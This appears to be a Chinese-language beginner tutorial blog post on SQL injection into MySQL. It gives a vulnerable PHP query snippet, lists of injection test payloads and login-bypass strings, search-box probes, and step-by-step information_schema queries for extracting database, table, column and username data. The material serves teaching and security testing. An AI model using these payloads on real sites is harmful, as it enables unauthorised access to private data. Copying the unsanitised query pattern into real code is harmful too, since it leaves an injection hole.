sql注入--入門篇

這裏先推薦一下適合SQL注入入門的資源:

首先,需要先學習一下SQL語句,至少知道怎麼用。具體可以參考w3school

其次,需要了解各種各種數據庫的結構。例如mysql數據庫,有information_schema庫,庫裏有schemata,tables,columns表,表裏還有各種字段。

一些關鍵點(以mysql數據庫爲例子):

連接函數

concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個組的所有字符串,並以逗號分隔每一條數據

數據庫結構

庫:information_schema
表:schemata,tables,columns    
字段:table_schema,tabe_name,column

常用函數

version()-MySQL版本 
user()-數據庫用戶名 
database()-數據庫名 
@@datadir-數據庫路徑 
@@version_compile_os-操作系統版本

邏輯運算

and,or

接下來是原理,也是SQL注入最核心的地方。
原理:當參數可控的情況下,將sql語句注入到參數(符合語法規則),讓服務器端執行一些我們想要執行的語句,返回數據庫的私密信息。

下面代碼是一個簡單的SQL注入點:

id=_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看到,當輸入的參數$id爲代碼的時候就會使得sql語句改變原來的邏輯。

SQL注入分類:

聯合查詢的類型
基於錯誤的SQL注入
基於布爾SQL盲注
基於時間的SQL盲注
基於報錯的SQL盲注
堆查詢注射
二次注入
cookie注入
referer注入
寬字節注入
......

一般的注入過程:
1.尋找注入點
一般的SQL注入測試語句:

PS: --可以用#替換,url提交過程中url編碼後的#爲%23

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

get注入:

添加單引號報錯
and 1=1正常 and 1=2不正常 
10-0正常 10-1不正常(參數爲整型)

post注入:

基本與get類似
萬能密碼使用上述測試語句

搜索框注入:

1 搜索keywords',如果出錯的話,有90%的可能性存在漏洞;
2 搜索keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3 搜索keywords%'and 1=1 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=1)
4 搜索keywords%'and 1=2 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=2)
5 根據兩次的返回情況來判斷是不是搜索型文本框注入了

2.爆數據庫

爆當前數據庫:
select database()
爆單個數據庫:
select schema_name from information_schema.schemata limit n,1
爆所有數據庫:
select group_concat(schema_name) from information_schema.schemata

3.爆數據表(此時的庫以security爲例)

爆某庫單個表:
select table_name from information_schema.tables where table_schema='security' limit n,1
爆某庫所有表:
select group_concat(table_name) from information_schema.tables where table_schema='security'

4.爆字段(此時的表以users爲例)

爆某個表單個字段:
select column_name from information_schema.columns where table_name='users' limit n,1
爆某個表所有字段:
select group_concat(column_name) from information_schema.columns where table_name='users'

5.爆數據項(以username爲例)

select group_concat(username) from users
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章